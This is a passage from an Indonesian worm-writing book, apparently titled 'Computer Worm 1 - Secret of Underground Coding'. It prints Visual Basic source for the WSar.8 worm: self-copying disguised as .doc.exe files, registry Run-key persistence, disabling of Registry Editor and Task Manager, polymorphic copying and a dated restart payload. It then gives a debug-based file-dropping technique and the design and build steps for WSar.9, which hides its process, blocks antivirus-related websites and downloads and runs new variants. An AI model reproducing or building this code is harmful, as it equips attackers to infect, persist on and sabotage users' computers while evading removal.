objWord.Selection.TypeParagraph() objWord.Selection.Text = "Kukan segera kembali" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF00FF objWord.Selection.ParagraphFormat.LeftIndent = 57 objWord.Selection.Text = "Kuberi selembar fotoku" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Sebagai pengobat rindu" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph()

Page 248: Computer Worm 1 secret of underground coding

233Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

objWord.Selection.Text = "Kuberjanji kan tetap setia" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Sampai akhir masa . . ." objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Font.Animation = 0 objWord.Selection.ParagraphFormat.LeftIndent = 0 objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.MoveDown() objWord.Selection.TypeParagraph()End Sub

Private Sub Worming() On Error Resume Next Dim Acak As Integer Dim i As Integer Dim NamaCantik(10) As String NamaCantik(0) = "puisi cinta.doc" NamaCantik(1) = "kangen terpendam.doc" NamaCantik(2) = "kenangan terlupa.doc" NamaCantik(3) = "kasih dalam duka.doc" NamaCantik(4) = "musuh tersayang.doc" NamaCantik(5) = "indahnya selingkuh.doc" NamaCantik(6) = "korban setia.doc" NamaCantik(7) = "syair bercinta.doc" NamaCantik(8) = "rindu terlarang.doc" NamaCantik(9) = "cinta segi empat.doc" For i = 0 To lstDir.ListCount Randomize() Acak = Int(Rnd * 10) If Len(Dir$(lstDir.List(i) & "*doc .exe")) _ = 0 Then PolyCopy(WormFile, lstDir.List(i) & NamaCantik(Acak) & "

.exe") End If Next iEnd Sub

Page 249: Computer Worm 1 secret of underground coding

234Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 14. W

orm W

Sar.8

Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End RegKiller() If LCase(App.EXEName) = "spool32" Then App.TaskVisible = False tmrSPOOL32.Enabled = True GoTo akhir End If If LCase(App.EXEName) = "winword" Then tmrWINWORD.Enabled = True tmrDir.Enabled = True tmrIseng.Enabled = True GoTo akhir End If OpenApp() If Dir(SpecialFolder(1) & "\WINWORD.EXE") <> "" And _ WinCheck("WINWORD.EXE") = True Then End tmrSPOOL32_Timer() Unload(Me)akhir:End Sub

Private Sub tmrDir_Timer() On Error Resume Next GetDir(lstDir) Worming() If Day(Now) = 13 And Month(Now) = 10 Then tmrDir.Enabled = False PayLoad() End IfEnd Sub

Private Sub PayLoad() Restart()End Sub

Private Sub tmrIseng_Timer() If Second(Now) > 52 Then WildMouse(True) Else WildMouse(False) End IfEnd Sub

Private Sub tmrWINWORD_Timer() On Error Resume Next tmrWINWORD.Enabled = False If Dir(SpecialFolder(0) & "\SPOOL32.EXE") = "" Or WinCheck _ ("SPOOL32.EXE") = False Then PolyCopy(WormFile, SpecialFolder(0) & "\SPOOL32.EXE") Shell(SpecialFolder(0) & "\SPOOL32.EXE") End If

Page 250: Computer Worm 1 secret of underground coding

235Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

If GetStringValue("HKEY_LOCAL_MACHINE\Software\Micr" & _ "osoft\Windows\CurrentVersion\Run", "Printer Cpl") <> _ SpecialFolder(0) & "\SPOOL32.EXE" Then SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "Printer Cpl", SpecialFolder _ (0) & "\SPOOL32.EXE") End If If GetStringValue("HKEY_CURRENT_USER\Software\Micros" & _ "oft\Windows\CurrentVersion\Run", "Microsoft Word") <> _ SpecialFolder(1) & "\WINWORD.EXE" Then SetStringValue("HKEY_CURRENT_USER\Software\Microsoft" & _ "\Windows\CurrentVersion\Run", "Microsoft Word", _ SpecialFolder(1) & "\WINWORD.EXE") End If Call WormFighter() WinExit("taskmgr.exe") tmrWINWORD.Enabled = TrueEnd Sub

Private Sub tmrSPOOL32_Timer() On Error Resume Next tmrSPOOL32.Enabled = False If Dir(SpecialFolder(1) & "\WINWORD.EXE") = "" _ Or WinCheck("WINWORD.EXE") = False Then PolyCopy(WormFile, SpecialFolder(1) & "\WINWORD.EXE") Shell(SpecialFolder(1) & "\WINWORD.EXE") End If tmrSPOOL32.Enabled = TrueEnd Sub

Private Sub RegKiller() On Error Resume Next CreateKey("HKEY_CURRENT_USER\Software\Microsoft\Win" & _ "dows\CurrentVersion\Policies\System") If GetDWORDValue("HKEY_CURRENT_USER\Software\Mic" & _ "rosoft\Windows\CurrentVersion\Policies\System", "DisableR" & _ "egistryTools") <> 1 Then SetDWORDValue("HKEY_CURRENT_USER\Software\Micro" & _ "soft\Windows\CurrentVersion\Policies\System", "DisableRe" & _ "gistryTools", 1) End If If Dir(SpecialFolder(1) & "\cmd.exe") <> "" Then SetStringValue("HKEY_CLASSES_ROOT\regfile\shell\open\co" & _ "mmand", "", "cmd.exe /c del " & """%1""") Else SetStringValue("HKEY_CLASSES_ROOT\regfile\shell\open\co" & _ "mmand", "", "command.com /c del " & """%1""") End If SetStringValue("HKEY_CLASSES_ROOT\exefile", "NeverSho" & _ "wExt", "")End Sub

Page 251: Computer Worm 1 secret of underground coding

236Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 14. W

orm W

Sar.8

Function PolyCopy(ByVal Source As String, ByVal Destination As String) On Error Resume Next Dim RndNum As String Dim RndNo As String Dim PoliStr As String Dim i As Long RndNum = RndNum & Second(Now) If Len(RndNum) = 2 Then For i = 1 To 2 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i Else For i = 1 To 3 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i End If If LCase(Right(Source, 4)) <> ".exe" Then Source = Source & ".exe" End If FileCopy(Source, Destination)Open Destination For Binary As #1 Source = Space$(LOF(1))Get #1, , Source PoliStr = Mid(Source, 113, 4)Put #1, InStr(1, Source, PoliStr), RndNumClose #1End Function

Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function

Berikut penjelasan tentang kode program:

Diawali dengan beberapa pendeklarasian function API, yang berguna untuk mendapatkan direktori Windows dan direktori System Win-dows.

Procedure WormFighter memeriksa file systask.exe pada direktori System Windows yang merupakan file dari worm lokal Pesin, jika dite-mukan procedure akan memanggil function WinExit untuk mematikan proses file tersebut kemudian langsung menghapusnya. Worm kemu-

Page 252: Computer Worm 1 secret of underground coding

237Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

dian menampilkan sebuah kotak pesan sebagai berikut:

Kotak pesan serupa akan tampil jika WSar.8 menemukan file dari worm Kangen dan memperlakukan hal yang sama seperti halnya pada worm Pesin.

Procedure OpenApp akan membuka aplikasi Microsoft Word dengan teks ber-animasi lengkap, perhatikan gambar disamping ini.

Page 253: Computer Worm 1 secret of underground coding

238Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 14. W

orm W

Sar.8

Procedure Worming akan membuat array sebanyak 10 data yang akan digunakan sebagai nama file. Worm kemudian memeriksa direktori pada ListBox lstDir dengan mencari file yang berakhiran "doc. exe".

Apabila file worm tidak ditemukan maka worm akan membuat sali-nannya ke direktori tersebut dengan salah satu nama file yang dipilih secara acak.

Procedure Form_Load dijalankan saat pertama kali file worm diek-sekusi. Sebelumnya procedure melakukan pemeriksaan apakah file tersebut sudah terproses atau tidak, jika ternyata sudah terproses maka worm langsung diakhiri, jika tidak maka langsung memanggil procedure RegKiller.

Jika nama file utama adalah "spool32" maka worm akan disembunyikan dari jendela task list, kemudian mengatur properti Enabled pada object tmrSPOOL32 menjadi true, dan langsung mengakhiri sub procedure.

Jika nama file utama adalah "winword" maka worm mengatur properti Enabled untuk object tmrWINWORD, tmrDir dan tmrIseng menjadi true, dan langsung mengakhiri sub procedure.

Selain itu worm memanggil procedure OpenApp dan memeriksa apakah file WINWORD.EXE pada direktori System Windows sudah ada dan sedang terproses, jika ya maka langsung mengakhiri proses file utama, tetapi jika tidak ditemukan maka worm akan memanggil procedure tmrSPOOL32_Timer, kemudian mengakhiri proses file utama.

Procedure tmrDir_Timer memanggil function GetDir dan menempat-kan hasilnya pada ListBox lstDir, kemudian memanggil procedure Worming. Jika tanggal sekarang adalah 13 Oktober maka worm men-gatur properti Enabled untuk object tmrIseng menjadi false, dan segera memanggil procedure Payload.

Procedure tmrIseng_Timer memanggil function WildMouse dengan kondisi jika detik sekarang lebih besar dari 52 maka WildMouse berni-lai true, selain itu WildMouse bernilai false.

Procedure tmrWINWORD_Timer merupakan implementasi dari metode Watcher yang secara berkesinambungan melakukan pemerik-saan. Adapun pemeriksaan yang dilakukan adalah:

Page 254: Computer Worm 1 secret of underground coding

239Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

1. Jika file SPOOL32.EXE pada direktori system tidak ada atau tidak terproses maka procedure membuat salinan file utama ke direktori system dengan nama file tersebut dan langsung mengeksekusinya.

2. Jika procedure tidak mendapatkan nilai "Printer Cpl" dengan data alamat file worm SPOOL32.EXE pada key registry "HKEY_LOCAL_MACHINE\Software\Microso ft\Windows\CurrentVersion\Run" maka procedure membuat nilai dan data registry tersebut.

3. Jika procedure tidak mendapatkan nilai "Microsoft Word" dengan data alamat file worm WINWORD.EXE pada key registry "HKEY_LOCAL_MACHINE\Software\Microso ft\Windows\Current-Version\Run" maka procedure membuat nilai dan data registry tersebut.

Kemudian procedure tmrWINWORD_Timer memanggil procedure WormFighter dan menghentikan proses file taskmgr.exe.

Procedure tmrSPOOL32_Timer melakukan hal yang sama seperti pada procedure tmrWINWORD_Timer hanya saja procedure ini diberikan tugas yang lebih sedikit yaitu melakukan pemeriksaan terhadap keberadaan dan status proses file WINWORD.EXE pada direktori Windows, jika tidak ditemukan atau tidak terproses maka procedure akan membuat salinan file utama ke direktori Windows dengan nama file tersebut dan langsung mengeksekusinya.

Procedure RegKiller bertugas untuk memastikan aplikasi Registry Editor tidak dapat digunakan oleh user, kemudian memanipulasi suatu nilai registry yang akan menghapus file *.reg jika user bermaksud untuk mengimpor suatu nilai registry secara instant dengan mengklik ganda file tersebut.

Function PolyCopy adalah function yang berguna sebagai pengganti function FileCopy untuk kepentingan metode polymorphic, dengan mengubah 4 byte pada byte ke 112, 113, 114 dan 115 ("mode") dengan 4 angka yang diambil secara acak.

Module mdlCrypt memuat dua function yaitu function Encrypt yang berguna untuk mengenkripsi plain text menjadi cipher text, kemu-dian function Decrypt yang mengubah cipher text menjadi plain text semula.

Page 255: Computer Worm 1 secret of underground coding

240Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 14. W

orm W

Sar.8

Module mdlDir memuat tiga function dengan function utama func-tion GetDir yang berguna untuk mendapatkan direktori aktif pada aplikasi Windows Explorer dan menempatkannya pada suatu ListBox tertentu.

Module mdlRestart berfungsi untuk me-restart komputer, module mdlWildMouse berfungsi untuk membuat animasi pantulan-pantulan pointer mouse pada layar. Module mdlWinCheck berfungsi untuk memeriksa status proses suatu file.

Catatan untuk WSar.8: berikut ini adalah contoh lain yang bisa diap-likasikan pada procedure OpenApp untuk membuka aplikasi Microsoft Excel:

Private Sub OpenApp() On Error Resume Next Dim objExcel As Object objExcel = CreateObject("Excel.Application") objExcel.Visible = True objExcel.WorkBooks.Add() objExcel.Sheets("Sheet2").Select() objExcel.ActiveWindow.SelectedSheets.Delete() objExcel.Sheets("Sheet3").Select() objExcel.ActiveWindow.SelectedSheets.Delete() objExcel.Cells.Select() objExcel.Selection.Interior.ColorIndex = 1 objExcel.Selection.Interior.Pattern = 1 objExcel.Selection.Font.ColorIndex = 2 objExcel.Columns.Select() objExcel.Selection.ColumnWidth = 1.43 objExcel.Selection.RowHeight = 11.25 objExcel.Range("AP4:AQ5;AQ3:AS3;AS4:AT5;AQ6:" & _ "AS6;AP7:AQ9;AS7:AT9;AQ10:AS10;E3:F4;F5:" & _ "G8;G9:H10;H8:I8;I4:I8;J3:J5;K4:K8;L8:M1" & _ "0;M5:N8;N3:O4;P4:Q6;Q3:T3;T4:U4;R6:S7;T" & _ "7:U9;P9:Q9;Q10:T10;W8:X10;X5:Y8;Y3:AA4;" & _ "AA5:AB8;AB8:AC10;Z8;AE3:AF10;AG3:AI3").Select() With objExcel.Selection.Interior .ColorIndex = 6 .Pattern = 1 End With objExcel.Range("AI4:AJ6;AG7:AI7;AH8:AI8;AI9;" & _ "AJ9;AJ10:AK10;AM9:AN10").Select() With objExcel.Selection.Interior .ColorIndex = 6 .Pattern = 1 End With objExcel.Cells.Select() With objExcel.Selection.Borders(3) .LineStyle = 1 .ColorIndex = 1 End With

Page 256: Computer Worm 1 secret of underground coding

241Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

objExcel.Cells.Select() With objExcel.Selection.Borders(1) .LineStyle = 1 .ColorIndex = 1 End With objExcel.Range("E12:AT12").Select() objExcel.Selection.Merge() objExcel.Selection.HorizontalAlignment = 3 objExcel.Selection.Interior.ColorIndex = 2 objExcel.Rows("12:12").RowHeight = 21.75 objExcel.Selection.Font.Bold = True objExcel.Range("E12:AT12").Select() objExcel.ActiveCell.FormulaR1C1 = "B R I N G" & _ " T H E T R U T H T O Y O U R H O M E" With objExcel.ActiveCell.Font .Name = "Arial Black" .Size = 14 .ColorIndex = 1 End With objExcel.Sheets("Sheet1").Select() objExcel.Sheets("Sheet1").Name = "By Achmad Darmal" objExcel.ActiveSheet.Protect(DrawingObjects:= _ True, Contents:=True, Scenarios:=True)End Sub

Page 257: Computer Worm 1 secret of underground coding
Page 258: Computer Worm 1 secret of underground coding

243Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

5. W

orm

WS

ar.9

BAB 15WORM WSar.9

Worm dasar 9 menggunakan beberapa metode yang terbilang masih baru di awal tahun 2006. WSar.9 bukan saja akan menghilang dari Task List, tetapi juga memanipulasi Tab

Processes pada Task Manager Windows 2000/XP sehingga WSar.9 dapat mengubah nama proses worm menjadi salah satu nama proses pada system seperti "EXPLORER" atau "SVCHOST" yang tentunya tidak akan mencurigakan user.

Sebaliknya, WSar.9 dapat mengubah nama proses "EXPLORER" atau "SVCHOST" asli menjadi nama proses yang berbeda misalnya "Ini Worm Loh" yang akan meyakinkan user bahwa file tersebut adalah worm, mengapa? karena system komputer akan shutdown atau restart dengan sendirinya jika user mematikan proses tersebut yang sebenarnya adalah proses "EXPLORER" atau "SVCHOST" asli.

File launcher WSar.9 menggunakan nama yang berbeda untuk setiap Windows startup, hal ini bertujuan agar keberadaan worm tidak ter-ancam oleh program-program seperti aplikasi antivirus, yang meng-gunakan metode scanning pada nama file.

Page 259: Computer Worm 1 secret of underground coding

244Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 15. W

orm W

Sar.9

Worm ini juga melakukan aksi pemblokiran jika user mengakses situs yang mengandung suatu string tertentu pada address-nya, dengan langsung menutup aplikasi browser-nya. Dalam hal ini aplikasi browser yang dapat diblokir adalah Internet Explorer dan Netscape.

Pada saat tertentu WSar.9 akan men-download suatu file pada situs tertentu dan langsung mengeksekusinya. Pada tahun 2004, metode ini banyak digunakan worm writer untuk me-release varian baru dan se-bagian lagi worm writer memanfaatkan metode ini untuk menyisipkan suatu backdoor.

WSar.9 termasuk worm yang terkesan terbuka dan pamer, karena saat WSar.9 menginfeksi suatu system, WSar.9 akan memenuhi komputer tersebut dengan icon bergambar hati.

WSar.9 tidak hanya memanipulasi icon My Computer seperti yang dilakukan oleh worm Kangen, tetapi juga pada My Documents, My Network Place, Recycle Bin dan seluruh file yang berekstensi "exe".

15.1 DROP FILE METHODEMetode Drop File adalah suatu metode yang digunakan untuk mengek-strak suatu file tertentu dari file utama. Banyak sekali cara yang dapat digunakan untuk metode Drop File ini dan umumnya cara tersebut selalu diakhiri dengan menggunakan fasilitas debug pada Windows.

Contoh berikut ini bertujuan untuk meng-drop file vbs dengan nama WSar.vbs pada drive C dengan isi file sebagai berikut:

on error resume nextfor i = 1 to 10msgbox "WSar.9 Was Here"next

Berikut ini adalah contoh procedure yang dapat digunakan dalam pengaplikasian metode Drop File.

Page 260: Computer Worm 1 secret of underground coding

245Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

5. W

orm

WS

ar.9

Private Sub DropFile() On Error Resume Next Dim MyScript, MyBatch, MyFile As String MyScript = "C:\WSarScript.wsr" MyFile = "C:\WSar.vbs"

Open MyScript For Output As #1 Print #1, "N " & MyFile Print #1, "E 0100 6F 6E 20 65 72 72 6F 72 20 72 65 73 75 6D 65 20" Print #1, "E 0110 6E 65 78 74 0D 0A 66 6F 72 20 69 20 3D 20 31 20" Print #1, "E 0120 74 6F 20 31 30 0D 0A 6D 73 67 62 6F 78 20 22 57" Print #1, "E 0130 53 61 72 2E 39 20 57 61 73 20 48 65 72 65 22 0D" Print #1, "E 0140 0A 6E 65 78 74 0D" Print #1, "RCX" Print #1, "45" Print #1, "W" Print #1, "Q" Close #1 MyBatch = "C:\WSarBatch.bat" Open MyBatch For Output As #1 Print #1, "@echo off" Print #1, "debug < " & MyScript Print #1, "del " & MyScript Close #1 Shell(MyBatch, vbNormalFocus)End Sub

Pada saat procedure DropFile dieksekusi, program akan membuat file "C:\WSarScript.wsr" dengan isi file sebagai berikut:

N C:\WSar.vbsE 0100 6F 6E 20 65 72 72 6F 72 20 72 65 73 75 6D 65 20E 0110 6E 65 78 74 0D 0A 66 6F 72 20 69 20 3D 20 31 20E 0120 74 6F 20 31 30 0D 0A 6D 73 67 62 6F 78 20 22 57E 0130 53 61 72 2E 39 20 57 61 73 20 48 65 72 65 22 0DE 0140 0A 6E 65 78 74 0DRCX45WQ

Kemudian membuat file batch "C:\WSarBatch.bat" dengan isi file sebagai berikut:

@echo offdebug < C:\WSarScript.wsrdel C:\WSarScript.wsr

Page 261: Computer Worm 1 secret of underground coding

246Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 15. W

orm W

Sar.9

Procedure kemudian mengeksekusi file "C:\WSarBatch.bat", yang menggunakan fasilitas debug untuk menghasilkan sebuah file baru dari file script "C:\WSarScript.wsr", dengan nama file "C:\WSar.vbs" dan dengan isi file sebagai berikut:

on error resume nextfor i = 1 to 10 msgbox "WSar.9 Was Here"next

Hasil file ternyata identik dengan file aslinya. Berikut ini adalah lang-kah-langkah untuk membuat file asli (WSar.vbs) menjadi file script (C:\WSarScript.wsr)

Buka aplikasi MSDOS / COMMAND / CMD, aktifkan direktori C: dimana file asli berada, kemudian ketik perintah berikut:

Tanda garis datar setelah perintah tersebut menunjukan perintah yang dieksekusi telah benar, sekaligus menjadi prompt dalam perintah debug. Untuk mengetahui besar file tersebut ketik "R" atau "RCX" kemudian tekan enter.

Page 262: Computer Worm 1 secret of underground coding

247Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

5. W

orm

WS

ar.9

Nilai register yang akan kita gunakan adalah CX. Nilai CX 0045 menunjukan bahwa file WSar.vbs memiliki kapasitas sebesar 0045 (hexadecimal) atau 69 bytes (decimal).

System perhitungan hexadecimal menggunakan base 16, hexadecimal menggunakan 10 angka pertama dari system desimal: 0, 1, 2, 3, 4, 5, 6, 7, 8, dan 9. Sedangkan angka 10 memiliki 2 digit sehingga dalam hexadecimal diwakilkan dengan huruf A, angka 11 dengan huruf B, 12 dengan C, 13 dengan D, 14 dengan E, dan angka 15 dengan huruf F.

Perhatikan contoh tabel konversi decimal (dec) dan hexadecimal (hex) berikut:

Dec 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

Hex 0 1 2 3 4 5 6 7 8 9 A B C D E F

Dec 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

Hex 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F

Dec 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47

Hex 20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F

Dec 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79

Hex 40 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F

Dec 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159

Hex 90 91 92 93 94 95 96 97 98 99 9A 9B 9C 9D 9E 9F

Dec 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175

Hex A0 A1 A2 A3 A4 A5 A6 A7 A8 A9 AA AB AC AD AE AF

Dec 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255

Hex F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF

Dec 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271

Hex 100 101 102 103 104 105 106 107 108 109 10A 10B 10C 10D 10E 10F

Page 263: Computer Worm 1 secret of underground coding

248Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 15. W

orm W

Sar.9

Kemudian ketik D dan tekan enter.

Tampilan diatas adalah hex dump dari file WSar.vbs. Tugas kita seka-rang adalah mendapatkan isi file WSar.vbs dari hex dump tersebut.

Untuk itu tambahkan 0100 pada RCX (0045) sehingga menjadi 0145 (0100 + 0045 = 0145), kemudian ketik D 0100,0145 dan tekan enter (0100 adalah nilai default dan 0145 merupakan hasil dari penjumlahan sebelumnya).

Setelah mendapatkan hex dump yang dicari, copy data tersebut dan paste-kan pada procedure DropFile.

Page 264: Computer Worm 1 secret of underground coding

249Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

5. W

orm

WS

ar.9

N C:\WSar.vbsE 0100 6F 6E 20 65 72 72 6F 72 20 72 65 73 75 6D 65 20E 0110 6E 65 78 74 0D 0A 66 6F 72 20 69 20 3D 20 31 20E 0120 74 6F 20 31 30 0D 0A 6D 73 67 62 6F 78 20 22 57E 0130 53 61 72 2E 39 20 57 61 73 20 48 65 72 65 22 0DE 0140 0A 6E 65 78 74 0DRCX45WQ

Baris pertama pada script diatas dimulai dengan N (Name) dan diikuti dengan nama dan lokasi dimana file tersebut akan dibuat.

Baris ke-2 hingga ke-6 adalah data hex dump sebelumnya dengan diberi awalan E (Enter), baris ke-7 adalah instruksi register RCX dan langsung memberikan nilai 45 pada baris berikutnya. Baris ke-9 mem-berikan instruksi W (Write) dan diakhiri dengan instruksi Q (Quit).

Dari contoh yang diberikan diatas dapat diketahui bahwa cara tersebut umumnya menggunakan kapasitas file yang berlipat (hal ini disebabkan file asli dikonversi terlebih dahulu kedalam bentuk hexadecimal yang menggunakan 2 byte untuk mewakili setiap byte dari file asli) dengan proses kompilasi yang terbilang tidak efisien, karena file berupa byte hasil konversi tadi diekstrak menjadi plain text terlebih dahulu, baru kemudian memanfaatkan perintah debug untuk mendapatkan file asli.

Walau demikian, ini adalah teknik real yang digunakan para worm writer, termasuk worm Imelda Perkasa yang merupakan salah satu worm lokal dari Indonesia, sehingga penulis tetap memberikan contoh metode Drop File dengan menggunakan fasilitas debug ini.

Lalu teknik apakah yang digunakan WSar.9 dalam mengaplikasikan metode Drop File?. Dalam bahasa pemrograman Visual Basic 6.0 ter-dapat fasilitas Resource Files yang dapat memudahkan kita menggu-nakan metode Drop File. Dengan teknik ini file asli langsung diletakan pada body program sebagai file Res tanpa adanya konversi terlebih dahulu, sehingga kapasitas file asli tidak berlipat, sedangkan Drop File secara sederhana dilakukan hanya dengan meng-ekstrak file tersebut dari file utama, akibatnya kecepatan yang diperoleh jauh lebih baik.

Metode ini akan penulis contohkan lebih detil pada pemrograman WSar.9.

Page 265: Computer Worm 1 secret of underground coding

250Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 15. W

orm W

Sar.9

15.2 ALGORITMAWSar.9 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut:

1. Worm menyembunyikan aplikasi file worm dari task list2. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada

suatu system komputer3. Jika worm tidak mendapatkan eksistensinya maka worm akan

melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi registry untuk mengaktifkan worm setiap kali Windows startup

4. Worm membuat file launcher baru dengan nama yang diambil se-cara acak setiap kali Windows startup dan menghapus file launcher yang lama

5. Memanipulasi registry untuk mengubah default icon untuk My Computer, Documents, My Network Place, Recycle Bin dan seluruh file yang berekstensi "exe" menjadi icon bergambar hati. Icon terse-but diekstrak dari file utama dengan menggunakan metode Drop File

6. Melakukan shut down (restart) jika user menjalankan aplikasi Sys-tem Configuration Utility (MSConfig)

7. Melakukan shut down (turn off) jika user menjalankan aplikasi Registry Editor

8. Jika user menjalankan aplikasi Task Manager, maka pada tab Pro-cesses, caption process "EXPLORER" diubah menjadi "SVCHOST", sementara caption process worm sendiri diubah menjadi "EXPLORER", selain itu worm mengubah caption "SYSTEM" men-jadi "WSarWasHere"

9. Worm akan memblokir web address yang mengandung kata "worm", "virus" dan "removal", dengan langsung mengakhiri aplikasi browser

10. Pada saat tertentu berusaha menginfeksi disket, menukar fungsi tombol pada mouse, menghilangkan tombol Startmenu dan secara otomatis men-download varian baru dari suatu website dan lang-sung mengeksekusinya

Page 266: Computer Worm 1 secret of underground coding

251Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

5. W

orm

WS

ar.9

11. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.9 Ada Pada Komputer Anda", mencari file berekstensi *.doc pada direk-tori My Documents dan langsung menyembunyikannya, kemudian membuat salinan worm disetiap folder yang dilalui dengan nama file "where my document.doc.exe".

15.3 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.9’

Tambahkan 1 buah object ListBox, 3 buah object Timer, 1 buah object Inet, 6 buah module dan 1 buah file res (resource files), kemudian atur properti untuk masing-masing object tersebut sebagai berikut:

Properti object Form1

Jenis Nilai KeteranganName frmWSar9 Mengatur nama form menjadi frmWSar9

Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.9 menggunakan icon word.ico

ShowInTaskbar False Tidak menampilkan form pada taskbar

Visible False Tidak menampilkan form pada layar.

BorderStyle None Tidak memberikan garis tepi pada form

ControlBox False Tidak menggunakan control box

Properti object Timer1

Jenis Nilai KeteranganName tmrDefender Mengatur nama Timer menjadi tmrDefender

Enable True Pastikan Timer akan aktif saat form di-load

Interval 200 Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.2 detik

Page 267: Computer Worm 1 secret of underground coding

252Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 15. W

orm W

Sar.9

Properti object Timer2

Jenis Nilai KeteranganName tmrBlockUrl Mengatur nama Timer menjadi tmrBlockUrl

Enable True Pastikan Timer akan aktif saat form di-load

Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik

Properti object Timer3

Jenis Nilai KeteranganName tmrMulti Mengatur nama Timer menjadi tmrWinForce

Enable True Pastikan Timer akan aktif saat form di-load

Interval 500 Setiap instruksi pada procedure Timer akan diek-sekusi setiap 0.5 detik

Properti object List1

Jenis Nilai KeteranganName lstDoc Mengatur nama ListBox menjadi lstDoc

Properti Module1

Jenis Nilai KeteranganName mdlBlockUrl Mengatur nama module menjadi mdlBlockUrl

Properti Module2

Jenis Nilai KeteranganName mdlIseng Mengatur nama module menjadi mdlIseng

Page 268: Computer Worm 1 secret of underground coding

253Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

5. W

orm

WS

ar.9

Properti Module3

Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi mdlReg-

istryAPI

Properti Module4

Jenis Nilai KeteranganName mdlRenProcess Mengatur nama module menjadi mdlRenPro-

cess

Properti Module5

Jenis Nilai KeteranganName mdlTurnOff Mengatur nama module menjadi mdlTurnOff

Properti Module6

Jenis Nilai KeteranganName mdlWinCheck Mengatur nama module menjadi

mdlWinCheck

Kemudian tambahkan object Inet dengan menambahkan komponen Inet pada toolbox terlebih dahulu dengan cara:

1. Klik Project pada menubar, dan pilih Component. Atau dengan menekan kombinasi tombol Ctrl+T.

2. Beri seleksi pada opsi Microsoft Internet Transfer Control 6.0, ke-mudian klik Close.

3. Klik ganda object Inet pada toolbox untuk memasukannya pada form.

Terakhir tambahkan file Res. File yang ditambahkan bisa berupa file apa saja seperti file image, text atau executable. Dalam hal ini WSar.9 memasukan sebuah file icon bergambar hati pada file Res.

Page 269: Computer Worm 1 secret of underground coding

254Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 15. W

orm W

Sar.9

Berikut ini adalah langkah-langkah untuk membuat suatu file Res.

1. Klik Add-Ins pada menubar, dan pilih Add-In Manager. Atau dengan menekan kombinasi tombol Alt (tahan) +A +A

